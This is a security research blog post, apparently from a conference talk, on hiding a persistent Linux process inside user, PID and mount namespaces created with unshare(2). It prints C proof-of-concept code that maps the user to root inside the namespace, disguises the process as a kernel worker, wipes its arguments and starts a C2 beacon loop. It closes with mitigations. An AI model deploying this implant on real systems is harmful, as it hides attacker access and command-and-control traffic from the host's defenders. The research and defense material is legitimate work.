Motivation
Most Linux persistence relies on the same small set of mechanisms defenders have been watching for since forever. Drop a systemd service, add a cron job, append something to .bashrc. They work. But they are noisy. Actions get logged, files get created, and any decent blue team will find them if they are actually looking.
The question I kept coming back to: what if you could maintain long-term access without touching any of that? No new service files, no startup modifications, no reboots. Just the kernel, doing what the kernel already does, and your process riding along inside it.
That is where namespaces come in.
Linux Namespaces 101
Linux namespaces are a kernel feature that lets processes see isolated views of system resources. Each namespace wraps a particular type of resource and presents a private copy of it to processes inside. This is the underlying mechanism that makes containers work. Docker, Kubernetes, systemd-nspawn all build on top of it.
The namespace types relevant here:
- PID isolates process IDs. A process inside a new PID namespace sees itself as PID 1. The host cannot enumerate processes inside it with
ps aux. - Mount (MNT) provides a private filesystem view. Mount points inside the namespace do not appear on the host.
- UTS isolates hostname and domain name.
- IPC isolates System V IPC and POSIX message queues.
- User isolates UID/GID mappings. This is the key one: an unprivileged user can create a user namespace and map themselves to UID 0 inside it, gaining root-equivalent capabilities scoped to that namespace only.
Key insight: User namespaces can be created without any privileges on most Linux distributions. This defaults to enabled on Ubuntu, Debian, Fedora, and most modern distros. It is controlled by kernel.unprivileged_userns_clone.
The Technique: Unshare to Persist
The core idea: use unshare(2) to move a process into a new set of namespaces, where it becomes effectively invisible to standard host-level monitoring, runs as root inside its isolated environment, and beacons out over the network without touching any persistence mechanism that would survive or be visible on the host.
The execution flow:
The Code
The full proof-of-concept demonstrated live at BHMEA. It implements the execution chain above including user namespace privilege escalation, namespace creation, fork, daemonization, and a simple HTTP beacon loop.
#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/mount.h>
#include <arpa/inet.h>
#include <time.h>
#include <signal.h>
#include <string.h>
#define TAG "kworker/0:0"
#define C2_HOST "127.0.0.1"
#define C2_PORT 8443
#define BEACON_INTERVAL 10
int elevate_privileges(void) {
char mapping[64];
int fd;
if (unshare(CLONE_NEWUSER) != 0) return -1;
fd = open("/proc/self/setgroups", O_WRONLY);
if (fd >= 0) { write(fd, "deny
", 5); close(fd); }
snprintf(mapping, sizeof(mapping), "0 %d 1
", getuid());
fd = open("/proc/self/uid_map", O_WRONLY);
if (fd >= 0) { write(fd, mapping, strlen(mapping)); close(fd); }
snprintf(mapping, sizeof(mapping), "0 %d 1
", getgid());
fd = open("/proc/self/gid_map", O_WRONLY);
if (fd >= 0) { write(fd, mapping, strlen(mapping)); close(fd); }
return 0;
}
int create_new_namespace(void) {
return unshare(CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS);
}
void daemonize_process(int argc, char *argv[]) {
int fd, i;
signal(SIGCHLD, SIG_IGN);
signal(SIGHUP, SIG_IGN);
setsid();
chdir("/");
prctl(PR_SET_NAME, TAG, 0, 0, 0);
for (i = 0; i < argc; i++)
if (argv[i]) memset(argv[i], 0, strlen(argv[i]) + 1);
fd = open("/dev/null", O_RDWR);
if (fd >= 0) {
dup2(fd, STDIN_FILENO);
dup2(fd, STDOUT_FILENO);
dup2(fd, STDERR_FILENO);
if (fd > 2) close(fd);
}
}
int main(int argc, char *argv[]) {
pid_t pid;
elevate_privileges();
create_new_namespace();
pid = fork();
if (pid > 0) _exit(0);
daemonize_process(argc, argv);
mount("proc", "/proc", "proc", 0, NULL);
/* persistence beacon loop runs here */
run_persistence_loop();
return 0;
}
Why It Works
Once the child is running inside the new PID namespace, ps aux on the host will not show it. The remounted /proc inside the namespace reflects only the processes within that namespace, so any tools the process runs also see a clean environment. The process name looks like a kernel worker thread. No new files on disk, no cron entries, no service definitions.
The network still works. The process shares the host network namespace by default, so it can beacon outbound freely. HTTP GET requests to a C2 server blend in with normal application traffic.
Live demo result at BHMEA: after running the binary, ps aux | grep main returned nothing. Meanwhile the C2 server log was showing incoming beacons every 10 seconds. The process was alive, communicating, and completely hidden from standard enumeration.
Defense
Defending against a fully weaponized version of this is difficult but not impossible. The surface area is the user namespace creation primitive itself.
- Disable unprivileged user namespace creation:
sysctl -w kernel.unprivileged_userns_clone=0. Most direct mitigation, but breaks some containerized applications. - Monitor
/proc/*/ns/*for unexpected namespace proliferation. Processes with namespace configurations that differ from their parent are worth examining. - Enforce AppArmor or seccomp policies that restrict which users can call
unshare(2). - Proper audit infrastructure that walks the full namespace tree will find these processes. Standard
pswill not.
Conclusion
Linux namespaces provide a legitimate, kernel-supported isolation mechanism that can be repurposed for stealthy persistence. No privilege escalation in the traditional sense, no files dropped, no boot-time hooks. Just a process living inside the kernel infrastructure, hiding in plain sight.
Namespaces are not just a container primitive. They are a general-purpose isolation mechanism in the kernel, and anyone assuming that process visibility is complete because ps shows nothing needs to rethink that assumption.